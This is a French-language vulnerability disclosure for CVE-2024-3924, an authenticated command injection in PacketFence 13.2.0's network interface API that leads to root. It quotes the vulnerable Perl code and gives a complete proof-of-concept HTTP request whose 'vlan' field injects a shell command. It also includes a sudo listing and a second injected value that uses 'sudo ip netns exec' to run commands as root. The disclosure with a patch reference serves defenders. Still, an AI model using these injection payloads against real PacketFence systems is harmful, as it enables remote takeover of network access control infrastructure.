À propos

Chercheur en sécurité : ly1g3, ly1g3[at]tuta.io

Empreinte GPG : https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

Vue d'ensemble : Exécution de code à distance - RCE d'un utilisateur authentifié de bas niveau à administrateur

CVE : CVE-2024-3924

Chronologie :

Découverte - ly1g3
Signalée - ly1g3
Corrigée - packetfence

Référence : https://www.packetfence.com/news/2024/packetfence-14-0-released/

RCE authentifié sur Packetfence

Dans Packetfence 13.2.0, le paramètre d'interface WebGui permet une exécution de code à distance authentifiée.

Technique

Shell root à partir d'un administrateur authentifié

Administration -> Configuration -> Configuration réseau -> Interfaces

Interface.pm : fonction create ligne 64 La variable $vlan_id provient d'une entrée utilisateur et n'est vérifiée que côté client

    my $cmd = "sudo ip link add link $physical_interface name $physical_interface.$vlan_id type vlan id $vlan_id";
    eval { $status = pf_run($cmd) };

POC

burp :

POST /api/v1/config/interfaces HTTP/1.1
Host: 192.168.100.174:1443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Authorization: Bearer AAAAA
Content-Type: application/json
X-Packetfence-Tenant-Id: 1
Content-Length: 494
Origin: https://192.168.100.174:1443
Referer: https://192.168.100.174:1443/admin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Dnt: 1
Sec-Gpc: 1
Te: trailers
Connection: close

{"id":"eth0","prefixRouteName":"","type":"none","additional_listening_daemons":[],"address":"10.0.0.1/24","coa":null,"dhcpd_enabled":null,"dns":null,"high_availability":0,"hwaddr":"AA:AA:AA:AA:AA:64","ifindex":"3","ipaddress":"10.0.0.1","ipv6_address":null,"ipv6_prefix":null,"master":"eth0","name":"eth0","nat_enabled":null,"netmask":"255.255.255.0","network":"10.0.0.0","networks":[],"reg_network":null,"split_network":null,"tenant_id":1,"vip":null,"vlan":"$(echo 'win'>> /tmp/perl_log.txt)"}

Élévation de privilèges :

gtfobins

$ sudo -l
Matching Defaults entries for pf on packetfence:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    !requiretty

Runas and Command-specific defaults for pf:
    Defaults!/sbin/ip netns exec * !syslog

User pf may run the following commands on packetfence:
    (root) NOPASSWD: /bin/systemctl, /sbin/iptables, /usr/sbin/ip6tables, /usr/sbin/ipset, /sbin/ipset, /sbin/ip,
        /sbin/vconfig, /sbin/route, /usr/bin/systemctl, /usr/bin/tee, /usr/local/pf/sbin/pfdhcplistener, /bin/kill,
        /usr/sbin/freeradius, /usr/sbin/chroot, /usr/local/pf/bin/pfcmd, /usr/sbin/conntrack, /usr/bin/timedatectl,
        /usr/bin/hostnamectl

"vlan":";sudo /usr/sbin/ip netns exec foo id >> /tmp/perl_log.txt ;",